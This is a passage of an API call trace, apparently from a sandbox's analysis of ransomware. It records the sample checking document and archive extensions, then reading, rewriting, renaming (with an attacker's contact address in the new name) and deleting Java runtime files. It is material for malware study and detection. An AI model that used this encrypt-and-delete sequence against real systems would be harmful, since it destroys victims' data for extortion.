lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0303.158] lstrlenW (lpString=".7z") returned 3 [0303.158] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString=".dbf") returned 4 [0303.158] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString=".1cd") returned 4 [0303.158] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString=".jpg") returned 4 [0303.158] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString=".doc") returned 4 [0303.158] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0303.158] lstrlenW (lpString=".docx") returned 5 [0303.158] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0303.158] lstrlenW (lpString=".pdf") returned 4 [0303.158] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0303.158] lstrlenW (lpString=".xls") returned 4 [0303.158] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0303.158] lstrlenW (lpString=".xlsx") returned 5 [0303.158] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0303.158] lstrlenW (lpString=".ppt") returned 4 [0303.158] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0303.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.158] lstrlenW (lpString=".zip") returned 4 [0303.158] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0303.159] lstrlenW (lpString=".rar") returned 4 [0303.159] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0303.159] lstrlenW (lpString=".bz2") returned 4 [0303.159] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0303.159] lstrlenW (lpString=".7z") returned 3 [0303.159] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0303.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.159] lstrlenW (lpString=".dbf") returned 4 [0303.159] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0303.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.159] lstrlenW (lpString=".1cd") returned 4 [0303.159] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0303.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0303.159] lstrlenW (lpString=".jpg") returned 4 [0303.159] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0303.159] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0303.159] lstrlenW (lpString="ssvagent.exe") returned 12 [0303.159] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.159] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=70208) returned 1 [0303.159] CloseHandle (hObject=0x10d0) returned 1 [0303.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0303.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.160] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.160] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.160] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.160] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0303.160] GetLastError () returned 0x0 [0303.160] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x11240, lpOverlapped=0x0) returned 1 [0303.162] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x11250, lpOverlapped=0x0) returned 1 [0303.164] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.164] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.164] SetEndOfFile (hFile=0x10c4) returned 1 [0303.165] CloseHandle (hObject=0x10c4) returned 1 [0303.165] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.165] SetEndOfFile (hFile=0x10d0) returned 1 [0303.166] CloseHandle (hObject=0x10d0) returned 1 [0303.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.166] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0303.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.167] lstrlenW (lpString=".doc") returned 4 [0303.167] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.167] lstrlenW (lpString=".docx") returned 5 [0303.167] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0303.167] lstrlenW (lpString=".pdf") returned 4 [0303.167] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.167] lstrlenW (lpString=".xls") returned 4 [0303.167] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.167] lstrlenW (lpString=".xlsx") returned 5 [0303.167] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0303.167] lstrlenW (lpString=".ppt") returned 4 [0303.167] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.167] lstrlenW (lpString=".zip") returned 4 [0303.167] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.167] lstrlenW (lpString=".rar") returned 4 [0303.168] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.168] lstrlenW (lpString=".bz2") returned 4 [0303.168] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.168] lstrlenW (lpString=".7z") returned 3 [0303.168] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.168] lstrlenW (lpString=".dbf") returned 4 [0303.168] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.168] lstrlenW (lpString=".1cd") returned 4 [0303.168] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.168] lstrlenW (lpString=".jpg") returned 4 [0303.168] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.168] lstrlenW (lpString=".doc") returned 4 [0303.168] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.168] lstrlenW (lpString=".docx") returned 5 [0303.168] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0303.168] lstrlenW (lpString=".pdf") returned 4 [0303.168] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.168] lstrlenW (lpString=".xls") returned 4 [0303.168] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.168] lstrlenW (lpString=".xlsx") returned 5 [0303.168] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0303.169] lstrlenW (lpString=".ppt") returned 4 [0303.169] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.169] lstrlenW (lpString=".zip") returned 4 [0303.169] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.169] lstrlenW (lpString=".rar") returned 4 [0303.169] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.169] lstrlenW (lpString=".bz2") returned 4 [0303.169] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.169] lstrlenW (lpString=".7z") returned 3 [0303.169] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.169] lstrlenW (lpString=".dbf") returned 4 [0303.169] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.169] lstrlenW (lpString=".1cd") returned 4 [0303.169] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0303.169] lstrlenW (lpString=".jpg") returned 4 [0303.169] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.169] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.169] lstrlenW (lpString="sunec.dll") returned 9 [0303.169] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.170] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=135744) returned 1 [0303.170] CloseHandle (hObject=0x10d0) returned 1 [0303.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0303.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.171] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.171] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.171] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.171] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0303.171] GetLastError () returned 0x0 [0303.171] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x21240, lpOverlapped=0x0) returned 1 [0303.551] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x21250, lpOverlapped=0x0) returned 1 [0303.554] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.554] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0303.554] SetEndOfFile (hFile=0x10c4) returned 1 [0303.654] CloseHandle (hObject=0x10c4) returned 1 [0303.655] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.655] SetEndOfFile (hFile=0x10d0) returned 1 [0303.656] CloseHandle (hObject=0x10d0) returned 1 [0303.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.657] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1 [0303.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.657] lstrlenW (lpString=".doc") returned 4 [0303.657] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.657] lstrlenW (lpString=".docx") returned 5 [0303.657] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0303.657] lstrlenW (lpString=".pdf") returned 4 [0303.657] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.657] lstrlenW (lpString=".xls") returned 4 [0303.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.658] lstrlenW (lpString=".xlsx") returned 5 [0303.658] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0303.658] lstrlenW (lpString=".ppt") returned 4 [0303.658] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.658] lstrlenW (lpString=".zip") returned 4 [0303.658] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.658] lstrlenW (lpString=".rar") returned 4 [0303.658] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.658] lstrlenW (lpString=".bz2") returned 4 [0303.658] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.658] lstrlenW (lpString=".7z") returned 3 [0303.658] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.658] lstrlenW (lpString=".dbf") returned 4 [0303.658] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.658] lstrlenW (lpString=".1cd") returned 4 [0303.658] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.658] lstrlenW (lpString=".jpg") returned 4 [0303.658] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.658] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.658] lstrlenW (lpString=".doc") returned 4 [0303.658] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.659] lstrlenW (lpString=".docx") returned 5 [0303.659] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0303.659] lstrlenW (lpString=".pdf") returned 4 [0303.659] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.659] lstrlenW (lpString=".xls") returned 4 [0303.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.659] lstrlenW (lpString=".xlsx") returned 5 [0303.659] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0303.659] lstrlenW (lpString=".ppt") returned 4 [0303.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.659] lstrlenW (lpString=".zip") returned 4 [0303.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.659] lstrlenW (lpString=".rar") returned 4 [0303.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.659] lstrlenW (lpString=".bz2") returned 4 [0303.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.659] lstrlenW (lpString=".7z") returned 3 [0303.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.659] lstrlenW (lpString=".dbf") returned 4 [0303.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.659] lstrlenW (lpString=".1cd") returned 4 [0303.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.659] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0303.659] lstrlenW (lpString=".jpg") returned 4 [0303.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.660] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.660] lstrlenW (lpString="unpack.dll") returned 10 [0303.660] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.660] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=79936) returned 1 [0303.660] CloseHandle (hObject=0x10d0) returned 1 [0303.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0303.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.661] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0303.661] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.661] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.661] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0303.661] GetLastError () returned 0x0 [0303.661] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x13840, lpOverlapped=0x0) returned 1 [0303.859] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x13850, lpOverlapped=0x0) returned 1 [0303.861] ReadFile (in: hFile=0x10d0, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.861] WriteFile (in: hFile=0x10c4, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0303.861] SetEndOfFile (hFile=0x10c4) returned 1 [0303.862] CloseHandle (hObject=0x10c4) returned 1 [0303.862] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.862] SetEndOfFile (hFile=0x10d0) returned 1 [0303.863] CloseHandle (hObject=0x10d0) returned 1 [0303.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.863] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 1 [0303.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.863] lstrlenW (lpString=".doc") returned 4 [0303.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.863] lstrlenW (lpString=".docx") returned 5 [0303.863] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0303.863] lstrlenW (lpString=".pdf") returned 4 [0303.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.863] lstrlenW (lpString=".xls") returned 4 [0303.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString=".xlsx") returned 5 [0303.864] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0303.864] lstrlenW (lpString=".ppt") returned 4 [0303.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.864] lstrlenW (lpString=".zip") returned 4 [0303.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString=".rar") returned 4 [0303.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString=".bz2") returned 4 [0303.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.864] lstrlenW (lpString=".7z") returned 3 [0303.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.864] lstrlenW (lpString=".dbf") returned 4 [0303.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.864] lstrlenW (lpString=".1cd") returned 4 [0303.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.864] lstrlenW (lpString=".jpg") returned 4 [0303.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0303.864] lstrlenW (lpString=".doc") returned 4 [0303.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString=".docx") returned 5 [0303.864] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0303.864] lstrlenW (lpString=".pdf") returned 4 [0303.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.864] lstrlenW (lpString=".xls") returned 4 [0303.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.865] lstrlenW (lpString=".xlsx") returned 5 [0303.865] lstrcmpiW (lpString1=".xlsx", 